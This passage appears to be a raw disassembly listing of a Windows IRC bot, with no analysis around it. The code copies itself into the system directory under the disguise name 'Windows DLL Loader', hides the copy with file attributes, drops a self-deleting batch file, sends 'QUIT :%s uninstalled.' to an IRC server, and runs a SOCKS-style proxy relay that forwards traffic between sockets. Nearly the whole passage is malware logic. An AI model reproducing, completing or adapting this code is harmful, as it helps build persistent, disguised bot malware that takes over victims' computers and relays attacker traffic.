dword_412098 ; GetModuleFileNameA lea eax, [ebp+var_104] push eax call sub_404F7F and byte ptr [eax], 0 pop ecx lea eax, [ebp+var_104] push eax call dword_41203C ; SetCurrentDirectoryA leave retn sub_404FA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FEB proc near ; CODE XREF: sub_4050D1+1C7p ; sub_4052DF+C2p ... var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi push 8 push 4 call sub_40B459 push 7Ah push 61h mov edi, eax call sub_40B459 add esp, 10h mov [ebp+var_14], al push 1 pop esi cmp edi, esi jz short loc_405029 loc_405015: ; CODE XREF: sub_404FEB+3Cj push 7Ah push 61h call sub_40B459 mov [ebp+esi+var_14], al inc esi pop ecx cmp esi, edi pop ecx jnz short loc_405015 loc_405029: ; CODE XREF: sub_404FEB+28j lea eax, [ebp+esi+var_14] push offset a_bat ; ".bat" push eax call sub_4114B8 ; _mbscpy mov edi, [ebp+arg_0] push edi call sub_4114BE ; strlen push 400h call sub_4114C4 ; malloc add esp, 10h mov ebx, eax lea eax, [ebp+var_14] push eax call dword_4120B8 ; DeleteFileA xor esi, esi lea eax, [ebp+var_14] push esi push esi push 2 push esi push esi push 40000000h push eax call dword_412048 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_40507D xor eax, eax jmp short loc_4050CC ; --------------------------------------------------------------------------- loc_40507D: ; CODE XREF: sub_404FEB+8Cj lea eax, [ebp+var_14] push eax push edi push edi push edi push offset a@echoOffDelete ; "@echo off\r\n:deleteagain\r\ndel /A:H /F %s"... push ebx call dword_4121EC add esp, 18h lea eax, [ebp+var_4] mov [ebp+var_4], esi push esi push eax push ebx call sub_4114BE ; strlen pop ecx push eax push ebx push [ebp+arg_0] call dword_412070 ; WriteFile push [ebp+arg_0] call dword_4120AC ; CloseHandle push esi push esi lea eax, [ebp+var_14] push esi push eax push offset aOpen ; "open" push esi call dword_4121E4 push 1 pop eax loc_4050CC: ; CODE XREF: sub_404FEB+90j pop edi pop esi pop ebx leave retn sub_404FEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4050D1 proc near ; CODE XREF: sub_4111E8:loc_41137Dp var_36C = byte ptr -36Ch var_268 = byte ptr -268h var_164 = byte ptr -164h var_60 = dword ptr -60h var_30 = word ptr -30h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 36Ch push ebx push esi push edi call sub_404FA8 mov esi, 104h lea eax, [ebp+var_36C] push esi xor ebx, ebx push eax push ebx call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA cmp off_413B90, ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx jz short loc_405181 mov edi, offset off_413B90 mov [ebp+var_C], edi loc_405115: ; CODE XREF: sub_4050D1+AEj inc [ebp+var_4] lea eax, [ebp+var_268] push esi push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_268] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push dword ptr [edi] call sub_40B5E1 push dword ptr [edi] lea eax, [ebp+var_268] push eax call sub_4114EE ; _mbscat push dword ptr [edi] call sub_40B5A8 lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_268] push eax call sub_411924 ; _strcmpi add esp, 20h test eax, eax jz loc_405214 mov edi, [ebp+var_C] inc [ebp+var_8] add edi, 8 mov [ebp+var_C], edi cmp [edi], ebx jnz short loc_405115 loc_405181: ; CODE XREF: sub_4050D1+3Aj push [ebp+var_4] push ebx call sub_40B459 pop ecx mov edi, eax pop ecx lea eax, [ebp+var_164] push esi push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_164] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push off_413B90[edi*8] lea esi, ds:413B90h[edi*8] call sub_40B5E1 push dword ptr [esi] lea eax, [ebp+var_164] push eax call sub_4114EE ; _mbscat push dword ptr [esi] call sub_40B5A8 add esp, 18h lea eax, [ebp+var_164] push eax call dword_4120B8 ; DeleteFileA lea eax, [ebp+var_164] push ebx push eax lea eax, [ebp+var_36C] push eax call dword_412068 ; CopyFileA test eax, eax jnz short loc_405263 push offset dword_419ECC push offset aWindowsDllLoad ; "Windows DLL Loader" push 1 call sub_404EDC add esp, 0Ch jmp short loc_40525E ; --------------------------------------------------------------------------- loc_405214: ; CODE XREF: sub_4050D1+9Aj mov eax, [ebp+var_8] mov esi, eax shl esi, 3 push off_413B90[esi] call sub_40B5E1 push off_413B94[esi] call sub_40B5E1 push off_413B90[esi] push off_413B94[esi] push 1 call sub_404EDC push off_413B90[esi] call sub_40B5A8 push off_413B94[esi] call sub_40B5A8 add esp, 1Ch loc_40525E: ; CODE XREF: sub_4050D1+141j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405263: ; CODE XREF: sub_4050D1+12Bj mov esi, dword_4120B0 lea eax, [ebp+var_164] push 4 push eax call esi ; SetFileAttributesA lea eax, [ebp+var_164] push 2 push eax call esi ; SetFileAttributesA lea eax, [ebp+var_164] push eax call sub_404E31 lea eax, [ebp+var_36C] push eax call sub_404F7F push eax call sub_404FEB push 44h lea eax, [ebp+var_60] pop esi push esi push ebx push eax call sub_4114E8 ; memset add esp, 18h lea eax, [ebp+var_1C] mov [ebp+var_60], esi mov [ebp+var_30], bx push eax lea eax, [ebp+var_60] push eax push ebx push ebx push 28h push 1 push ebx lea eax, [ebp+var_164] push ebx push eax push ebx call dword_412084 ; CreateProcessA call dword_412264 ; WSACleanup push ebx call sub_41157C ; exit sub_4050D1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4052DF proc near ; CODE XREF: sub_402230+51Dp ; sub_407A76+C5Fp ... var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi call sub_404FA8 mov ebx, 104h lea eax, [ebp+var_20C] push ebx xor edi, edi push eax push edi call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA cmp off_413B90, edi mov [ebp+var_4], edi jz short loc_405383 mov esi, offset off_413B90 mov edi, esi loc_40531F: ; CODE XREF: sub_4052DF+A0j lea eax, [ebp+var_108] push ebx push eax call dword_412054 ; GetSystemDirectoryA lea eax, [ebp+var_108] push offset dword_413DEC push eax call sub_4114EE ; _mbscat push dword ptr [esi] call sub_40B5E1 push dword ptr [esi] lea eax, [ebp+var_108] push eax call sub_4114EE ; _mbscat push dword ptr [esi] call sub_40B5A8 lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_108] push eax call sub_411924 ; _strcmpi add esp, 20h test eax, eax jz short loc_4053CB inc [ebp+var_4] add edi, 8 mov esi, edi cmp dword ptr [edi], 0 jnz short loc_40531F xor edi, edi loc_405383: ; CODE XREF: sub_4052DF+37j mov esi, offset dword_419ECC push esi push offset aWindowsDllLoad ; "Windows DLL Loader" push edi call sub_404EDC lea eax, [ebp+var_20C] push eax call sub_404F7F push eax call sub_404FEB add esp, 14h test eax, eax jz loc_40544A push esi push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_4097DB pop ecx pop ecx call dword_412264 ; WSACleanup push edi call dword_412064 ; ExitProcess loc_4053CB: ; CODE XREF: sub_4052DF+93j mov eax, [ebp+var_4] mov esi, eax shl esi, 3 push off_413B90[esi] call sub_40B5E1 push off_413B94[esi] call sub_40B5E1 push off_413B90[esi] push off_413B94[esi] push 0 call sub_404EDC push off_413B90[esi] call sub_40B5A8 push off_413B94[esi] call sub_40B5A8 lea eax, [ebp+var_20C] push eax call sub_404F7F push eax call sub_404FEB add esp, 24h test eax, eax jz short loc_40544A push offset dword_419ECC push offset aQuitSUninstall ; "QUIT :%s uninstalled." call sub_4097DB pop ecx pop ecx call dword_412264 ; WSACleanup push 0 call dword_412064 ; ExitProcess loc_40544A: ; CODE XREF: sub_4052DF+CCj ; sub_4052DF+14Aj pop edi pop esi pop ebx leave retn sub_4052DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40544F proc near ; DATA XREF: sub_4056AC+F4o var_16D4 = byte ptr -16D4h var_6D4 = byte ptr -6D4h var_5D4 = dword ptr -5D4h var_5CA = byte ptr -5CAh var_5BA = byte ptr -5BAh var_427 = byte ptr -427h var_414 = byte ptr -414h var_413 = byte ptr -413h var_412 = dword ptr -412h var_40C = byte ptr -40Ch var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 16D4h call sub_411540 push ebx push esi push edi push 1BDh push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov eax, [ebp+var_5D4] mov edi, dword_412258 add esp, 10h xor ebx, ebx lea ecx, [ebp+var_414] mov [ebp+arg_0], eax push ebx push 408h push ecx push eax call edi ; recv cmp eax, ebx jz loc_4056A3 cmp eax, 0FFFFFFFFh jz loc_4056A3 cmp [ebp+var_414], 4 jnz short loc_4054C7 cmp [ebp+var_413], 1 jnz short loc_4054C7 push 1 pop esi jmp short loc_4054C9 ; --------------------------------------------------------------------------- loc_4054C7: ; CODE XREF: sub_40544F+68j ; sub_40544F+71j xor esi, esi loc_4054C9: ; CODE XREF: sub_40544F+76j cmp [ebp+var_5CA], bl jz short loc_4054EF lea eax, [ebp+var_5CA] push 10h push eax lea eax, [ebp+var_40C] push eax call sub_411570 ; strncmp add esp, 0Ch test eax, eax jz short loc_4054EF xor esi, esi loc_4054EF: ; CODE XREF: sub_40544F+80j ; sub_40544F+9Cj cmp [ebp+var_427], bl jz short loc_40553A lea eax, [ebp+var_6D4] push eax push [ebp+arg_0] call sub_4034DE pop ecx cmp esi, ebx pop ecx mov eax, offset byte_4191D0 jnz short loc_405516 mov eax, offset dword_413EF4 loc_405516: ; CODE XREF: sub_40544F+C0j push eax movzx eax, [ebp+var_414] push eax lea eax, [ebp+var_6D4] push eax lea eax, [ebp+var_5BA] push offset dword_413EC0 push eax call sub_4096CB add esp, 14h loc_40553A: ; CODE XREF: sub_40544F+A6j cmp esi, ebx jnz short loc_405575 push 8 lea eax, [ebp+var_414] push ebx push eax call sub_4114E8 ; memset lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Bh push [ebp+arg_0] call sub_403D9D push [ebp+arg_0] call sub_403D70 add esp, 1Ch jmp loc_4056A3 ; --------------------------------------------------------------------------- loc_405575: ; CODE XREF: sub_40544F+EDj lea eax, [ebp+var_C] push 0Ah push eax push [ebp+var_412] call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa add esp, 0Ch lea eax, [ebp+var_C] push 2710h push ebx push eax push [ebp+var_412+2] call dword_412230 ; inet_ntoa push eax call sub_403C04 mov [ebp+var_4], eax push 8 lea eax, [ebp+var_414] push ebx push eax call sub_4114E8 ; memset add esp, 1Ch cmp [ebp+var_4], ebx jnz short loc_4055F1 lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Bh push [ebp+arg_0] call sub_403D9D push [ebp+arg_0] call sub_403D70 add esp, 10h jmp loc_4056A3 ; --------------------------------------------------------------------------- loc_4055F1: ; CODE XREF: sub_40544F+178j lea eax, [ebp+var_414] push 8 push eax mov [ebp+var_413], 5Ah push [ebp+arg_0] call sub_403D9D add esp, 0Ch mov esi, 1000h loc_405611: ; CODE XREF: sub_40544F+240j push [ebp+arg_0] call sub_40346D test eax, eax pop ecx jz short loc_40564C push ebx lea eax, [ebp+var_16D4] push esi push eax push [ebp+arg_0] call edi ; recv cmp eax, ebx jz short loc_405691 cmp eax, 0FFFFFFFFh jz short loc_405691 push eax lea eax, [ebp+var_16D4] push eax push [ebp+var_4] call sub_403D9D add esp, 0Ch test eax, eax jz short loc_405691 loc_40564C: ; CODE XREF: sub_40544F+1CDj push [ebp+var_4] call sub_40346D test eax, eax pop ecx jz short loc_405687 push ebx lea eax, [ebp+var_16D4] push esi push eax push [ebp+var_4] call edi ; recv cmp eax, ebx jz short loc_405691 cmp eax, 0FFFFFFFFh jz short loc_405691 push eax lea eax, [ebp+var_16D4] push eax push [ebp+arg_0] call sub_403D9D add esp, 0Ch test eax, eax jz short loc_405691 loc_405687: ; CODE XREF: sub_40544F+208j push 32h call dword_4120A4 ; Sleep jmp short loc_405611 ; --------------------------------------------------------------------------- loc_405691: ; CODE XREF: sub_40544F+1DFj ; sub_40544F+1E4j ... push [ebp+arg_0] call sub_403D70 push [ebp+var_4] call sub_403D70 pop ecx pop ecx loc_4056A3: ; CODE XREF: sub_40544F+52j ; sub_40544F+5Bj ... pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_40544F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4056AC proc near ; DATA XREF: sub_4057ED+8Fo var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_1B6 = byte ptr -1B6h var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C0h push 1BDh lea eax, [ebp+var_1C0] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_1BC] push 1 push eax call sub_403644 add esp, 18h mov [ebp+arg_0], eax test eax, eax jnz short loc_4056FC push [ebp+var_1C0] call sub_406E6F pop ecx xor eax, eax jmp locret_4057E9 ; --------------------------------------------------------------------------- loc_4056FC: ; CODE XREF: sub_4056AC+3Bj push ebx push esi lea eax, [ebp+var_1BC] push edi push eax mov eax, [ebp+var_1C0] push dword ptr [eax] lea eax, [ebp+var_1A6] push offset dword_413F00 push eax call sub_4096CB mov edi, 3E8h push edi push [ebp+arg_0] call sub_403767 add esp, 18h loc_405730: ; CODE XREF: sub_4056AC+11Ej mov ebx, eax mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jnz loc_4057CF test ebx, ebx jz loc_4057CF cmp ebx, 0FFFFFFFFh jz short loc_4057BF push 1BDh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jnz short loc_405768 push ebx call sub_403D92 jmp short loc_4057BE ; --------------------------------------------------------------------------- loc_405768: ; CODE XREF: sub_4056AC+B2j lea eax, [ebp+var_1BC] mov [esi], ebx push eax lea eax, [esi+4] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_1B6] push eax lea eax, [esi+0Ah] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_1A6] push 1A3h push eax lea eax, [esi+1Ah] push eax call sub_4114D0 ; memcpy push esi push offset sub_40544F call sub_406C5D add esp, 24h test eax, eax jnz short loc_4057BF push esi call sub_4114CA ; free push ebx call sub_403D92 pop ecx loc_4057BE: ; CODE XREF: sub_4056AC+BAj pop ecx loc_4057BF: ; CODE XREF: sub_4056AC+A1j ; sub_4056AC+103j push edi push [ebp+arg_0] call sub_403767 pop ecx pop ecx jmp loc_405730 ; --------------------------------------------------------------------------- loc_4057CF: ; CODE XREF: sub_4056AC+90j ; sub_4056AC+98j push [ebp+arg_0] call sub_40392A push [ebp+var_1C0] call sub_406E6F pop ecx xor eax, eax pop ecx pop edi pop esi pop ebx locret_4057E9: ; CODE XREF: sub_4056AC+4Bj leave retn 4 sub_4056AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4057ED proc near ; CODE XREF: sub_407A76+10Ap var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi jnz short loc_40581E lea eax, [ebp+var_8] push 0Ah push eax push 0FFFFh push 401h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa add esp, 0Ch lea ebx, [ebp+var_8] loc_40581E: ; CODE XREF: sub_4057ED+Cj push 1BDh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40588A lea eax, [esi+4] push ebx push eax call sub_4114B8 ; _mbscpy mov eax, [ebp+arg_8] pop ecx test eax, eax pop ecx jnz short loc_405847 mov eax, offset byte_4191D0 loc_405847: ; CODE XREF: sub_4057ED+53j push edi push 10h push eax lea eax, [esi+0Ah] push eax call sub_4059C2 mov edi, [ebp+arg_0] push 1A3h lea eax, [esi+1Ah] push edi push eax call sub_4114D0 ; memcpy xor eax, eax add esp, 18h cmp [edi+18Bh], al push ebx push offset dword_413F34 setz al push eax push esi push offset sub_4056AC call sub_406D58 add esp, 14h pop edi loc_40588A: ; CODE XREF: sub_4057ED+40j pop esi pop ebx leave retn sub_4057ED endp ; =============== S U B R O U T I N E ======================================= sub_40588E proc near ; CODE XREF: sub_40C135+20Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi mov edx, esi jl short loc_4058B4 mov eax, [esp+4+arg_0] lea ecx, [eax+esi*2] loc_4058A0: ; CODE XREF: sub_40588E+24j mov eax, [esp+4+arg_4] mov al, [edx+eax] mov [ecx], al and byte ptr [ecx+1], 0 dec edx dec ecx dec ecx test edx, edx jge short loc_4058A0 loc_4058B4: ; CODE XREF: sub_40588E+9j mov eax, esi pop esi retn sub_40588E endp ; =============== S U B R O U T I N E ======================================= sub_4058B8 proc near ; CODE XREF: sub_407A76+179p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4114BE ; strlen pop ecx loc_4058C4: ; CODE XREF: sub_4058B8+1Bj test eax, eax jz short loc_4058D5 dec eax cmp byte ptr [eax+esi], 20h jnz short loc_4058D5 and byte ptr [eax+esi], 0 jmp short loc_4058C4 ; --------------------------------------------------------------------------- loc_4058D5: ; CODE XREF: sub_4058B8+Ej ; sub_4058B8+15j pop esi retn sub_4058B8 endp ; =============== S U B R O U T I N E ======================================= sub_4058D7 proc near ; CODE XREF: sub_405B5B+Cp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov edx, [esp+arg_0] xor eax, eax loc_4058DD: ; CODE XREF: sub_4058D7+14j mov cl, [edx] test cl, cl jz short locret_4058ED cmp cl, [esp+arg_4] jnz short loc_4058EA inc eax loc_4058EA: ; CODE XREF: sub_4058D7+10j inc edx jmp short loc_4058DD ; --------------------------------------------------------------------------- locret_4058ED: ; CODE XREF: sub_4058D7+Aj retn sub_4058D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058EE proc near ; CODE XREF: sub_40A236+2Ap ; sub_40A236+EDp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi xor esi, esi push edi cmp [ebp+arg_10], esi jnz short loc_405917 push esi push esi push [ebp+arg_8] call sub_4114E8 ; memset push esi push esi push [ebp+arg_C] call sub_4114E8 ; memset add esp, 18h xor eax, eax jmp short loc_40598D ; --------------------------------------------------------------------------- loc_405917: ; CODE XREF: sub_4058EE+Cj push [ebp+arg_0] mov esi, [ebp+arg_4] push esi call sub_4114B8 ; _mbscpy lea eax, [ebp+var_4] push eax push offset dword_413F54 push [ebp+arg_0] call sub_405E4F mov ebx, [ebp+arg_8] add esp, 14h push 1 mov [ebx], eax mov eax, [ebp+arg_C] pop edi cmp [ebp+arg_10], edi mov [eax], esi jle short loc_40598A mov [ebp+arg_8], eax lea esi, [ebx+4] sub [ebp+arg_8], ebx loc_405952: ; CODE XREF: sub_4058EE+9Aj xor eax, eax cmp [esi-4], eax jz short loc_405992 lea ecx, [ebp+var_4] push ecx push offset dword_413F54 push eax call sub_405E4F add esp, 0Ch mov [esi], eax test eax, eax jz short loc_405979 sub eax, [ebp+arg_0] add eax, [ebp+arg_4] jmp short loc_40597B ; --------------------------------------------------------------------------- loc_405979: ; CODE XREF: sub_4058EE+81j xor eax, eax loc_40597B: ; CODE XREF: sub_4058EE+89j mov ecx, [ebp+arg_8] inc edi mov [ecx+esi], eax add esi, 4 cmp edi, [ebp+arg_10] jl short loc_405952 loc_40598A: ; CODE XREF: sub_4058EE+59j mov eax, [ebp+arg_10] loc_40598D: ; CODE XREF: sub_4058EE+27j ; sub_4058EE+D2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405992: ; CODE XREF: sub_4058EE+69j mov esi, edi imul esi, 3FFFFFFFh add esi, [ebp+arg_10] shl esi, 2 push esi push eax lea eax, [ebx+edi*4] push eax call sub_4114E8 ; memset mov eax, [ebp+arg_C] push esi push 0 lea eax, [eax+edi*4] push eax call sub_4114E8 ; memset add esp, 18h lea eax, [edi-1] jmp short loc_40598D sub_4058EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059C2 proc near ; CODE XREF: sub_40110A+58p ; sub_40110A+8Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4059EC cmp ecx, 1 jz short loc_4059E9 loc_4059D9: ; CODE XREF: sub_4059C2+25j mov al, [esi] mov [edi], al test al, al jz short loc_4059EC inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_4059D9 loc_4059E9: ; CODE XREF: sub_4059C2+15j mov byte ptr [edi], 0 loc_4059EC: ; CODE XREF: sub_4059C2+10j ; sub_4059C2+1Dj pop edi pop esi pop ebp retn sub_4059C2 endp ; =============== S U B R O U T I N E ======================================= sub_4059F0 proc near ; CODE XREF: sub_406EA9+17p ; sub_406F84+1Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_4059F4: ; CODE XREF: sub_4059F0+15j mov cl, [eax] test cl, cl jz short loc_405A0A cmp cl, 30h jl short loc_405A07 cmp byte ptr [eax], 39h jg short loc_405A07 inc eax jmp short loc_4059F4 ; --------------------------------------------------------------------------- loc_405A07: ; CODE XREF: sub_4059F0+Dj ; sub_4059F0+12j xor al, al retn ; --------------------------------------------------------------------------- loc_405A0A: ; CODE XREF: sub_4059F0+8j mov al, 1 retn sub_4059F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A0D proc near ; CODE XREF: sub_401000+9Cp ; sub_40FDB3+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_8] push edi call sub_4114BE ; strlen mov ebx, [ebp+arg_4] and [ebp+arg_8], 0 sub ebx, eax pop ecx mov [ebp+var_4], eax js short loc_405A65 mov esi, [ebp+arg_0] loc_405A2F: ; CODE XREF: sub_405A0D+56j mov al, [esi] mov cl, [edi] cmp al, cl jz short loc_405A4B movsx edx, al movsx eax, cl lea ecx, [eax+20h] cmp edx, ecx jz short loc_405A4B add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_405A5C loc_405A4B: ; CODE XREF: sub_405A0D+28j ; sub_405A0D+35j push [ebp+var_4] push edi push esi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_405A6C loc_405A5C: ; CODE XREF: sub_405A0D+3Cj inc [ebp+arg_8] inc esi cmp [ebp+arg_8], ebx jle short loc_405A2F loc_405A65: ; CODE XREF: sub_405A0D+1Dj xor eax, eax loc_405A67: ; CODE XREF: sub_405A0D+67j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405A6C: ; CODE XREF: sub_405A0D+4Dj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] add eax, ecx jmp short loc_405A67 sub_405A0D endp ; =============== S U B R O U T I N E ======================================= sub_405A76 proc near ; CODE XREF: sub_40765C+CCp ; sub_40A407+Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] xor eax, eax mov cl, [esi] loc_405A7F: ; CODE XREF: sub_405A76+1Cj test cl, cl jz short loc_405A94 cmp cl, 0Dh jz short loc_405A98 cmp cl, 0Ah jz short loc_405A98 mov cl, [eax+esi+1] inc eax jmp short loc_405A7F ; --------------------------------------------------------------------------- loc_405A94: ; CODE XREF: sub_405A76+Bj add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_405A98: ; CODE XREF: sub_405A76+10j ; sub_405A76+15j push edi xor ecx, ecx lea edi, [eax+esi] loc_405A9E: ; CODE XREF: sub_405A76+3Aj mov dl, [edi+ecx] cmp dl, 0Dh jz short loc_405AAB cmp dl, 0Ah jnz short loc_405AB2 loc_405AAB: ; CODE XREF: sub_405A76+2Ej and byte ptr [edi+ecx], 0 inc ecx jmp short loc_405A9E ; --------------------------------------------------------------------------- loc_405AB2: ; CODE XREF: sub_405A76+33j add eax, ecx pop edi add eax, esi pop esi retn sub_405A76 endp ; =============== S U B R O U T I N E ======================================= sub_405AB9 proc near ; CODE XREF: sub_40DBD7+4Ep ; sub_40DBD7+C6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov cl, [eax] inc eax test cl, cl jz short locret_405AD5 loc_405AC4: ; CODE XREF: sub_405AB9+17j mov cl, [eax] test cl, cl jz short locret_405AD5 cmp cl, 20h jz short loc_405AD2 inc eax jmp short loc_405AC4 ; --------------------------------------------------------------------------- loc_405AD2: ; CODE XREF: sub_405AB9+14j and byte ptr [eax], 0 locret_405AD5: ; CODE XREF: sub_405AB9+9j ; sub_405AB9+Fj retn sub_405AB9 endp ; =============== S U B R O U T I N E ======================================= sub_405AD6 proc near ; CODE XREF: sub_405FF3+21Fp ; sub_408E1A+62p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] xor eax, eax mov esi, ecx loc_405AE4: ; CODE XREF: sub_405AD6+2Aj mov dl, [esi] cmp dl, 20h jnz short loc_405AF4 test edi, edi jnz short loc_405AFF push 1 pop edi jmp short loc_405AF6 ; --------------------------------------------------------------------------- loc_405AF4: ; CODE XREF: sub_405AD6+13j xor edi, edi loc_405AF6: ; CODE XREF: sub_405AD6+1Cj mov [eax+ecx], dl inc eax cmp byte ptr [esi], 0 jz short loc_405B02 loc_405AFF: ; CODE XREF: sub_405AD6+17j inc esi jmp short loc_405AE4 ; --------------------------------------------------------------------------- loc_405B02: ; CODE XREF: sub_405AD6+27j cmp [esp+8+arg_8], 0 pop edi pop esi jz short locret_405B1A loc_405B0B: ; CODE XREF: sub_405AD6+42j test eax, eax jz short locret_405B1A and byte ptr [eax+ecx], 0 dec eax cmp byte ptr [eax+ecx], 20h jz short loc_405B0B locret_405B1A: ; CODE XREF: sub_405AD6+33j ; sub_405AD6+37j retn sub_405AD6 endp ; =============== S U B R O U T I N E ======================================= sub_405B1B proc near ; CODE XREF: sub_405B5B+41p ; sub_405B5B+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push ebx push esi push edi mov edi, [esp+0Ch+arg_0] xor eax, eax mov ebx, edi mov esi, ecx sub ebx, ecx loc_405B2E: ; CODE XREF: sub_405B1B+26j mov dl, [esi] cmp dl, 2Eh jz short loc_405B49 test dl, dl jz short loc_405B53 mov [ebx+esi], dl inc eax inc esi cmp eax, 4 jl short loc_405B2E xor eax, eax loc_405B45: ; CODE XREF: sub_405B1B+36j ; sub_405B1B+3Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_405B49: ; CODE XREF: sub_405B1B+18j and byte ptr [eax+edi], 0 lea eax, [eax+ecx+1] jmp short loc_405B45 ; --------------------------------------------------------------------------- loc_405B53: ; CODE XREF: sub_405B1B+1Cj and byte ptr [eax+edi], 0 add eax, ecx jmp short loc_405B45 sub_405B1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B5B proc near ; CODE XREF: sub_405C9C+19p ; sub_405C9C+38p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push 2Eh push esi call sub_4058D7 pop ecx cmp eax, 3 pop ecx jg short loc_405B96 mov ecx, [ebp+arg_10] mov edi, [ebp+arg_8] xor ebx, ebx mov [ecx], bl mov ecx, [ebp+arg_C] sub eax, ebx mov [ecx], bl mov ecx, [ebp+arg_4] mov [edi], bl mov [ecx], bl jz short loc_405BC9 dec eax jz short loc_405BB8 dec eax jz short loc_405BA9 dec eax jz short loc_405B9A loc_405B96: ; CODE XREF: sub_405B5B+16j ; sub_405B5B+4Cj ... xor eax, eax jmp short loc_405BDA ; --------------------------------------------------------------------------- loc_405B9A: ; CODE XREF: sub_405B5B+39j push esi push ecx call sub_405B1B mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405B96 loc_405BA9: ; CODE XREF: sub_405B5B+36j push esi push edi call sub_405B1B mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405B96 loc_405BB8: ; CODE XREF: sub_405B5B+33j push esi push [ebp+arg_C] call sub_405B1B mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405B96 loc_405BC9: ; CODE XREF: sub_405B5B+30j push esi push [ebp+arg_10] call sub_405B1B neg eax pop ecx sbb eax, eax pop ecx neg eax loc_405BDA: ; CODE XREF: sub_405B5B+3Dj pop edi pop esi pop ebx pop ebp retn sub_405B5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BDF proc near ; CODE XREF: sub_405C9C+81p ; sub_405C9C+97p ... 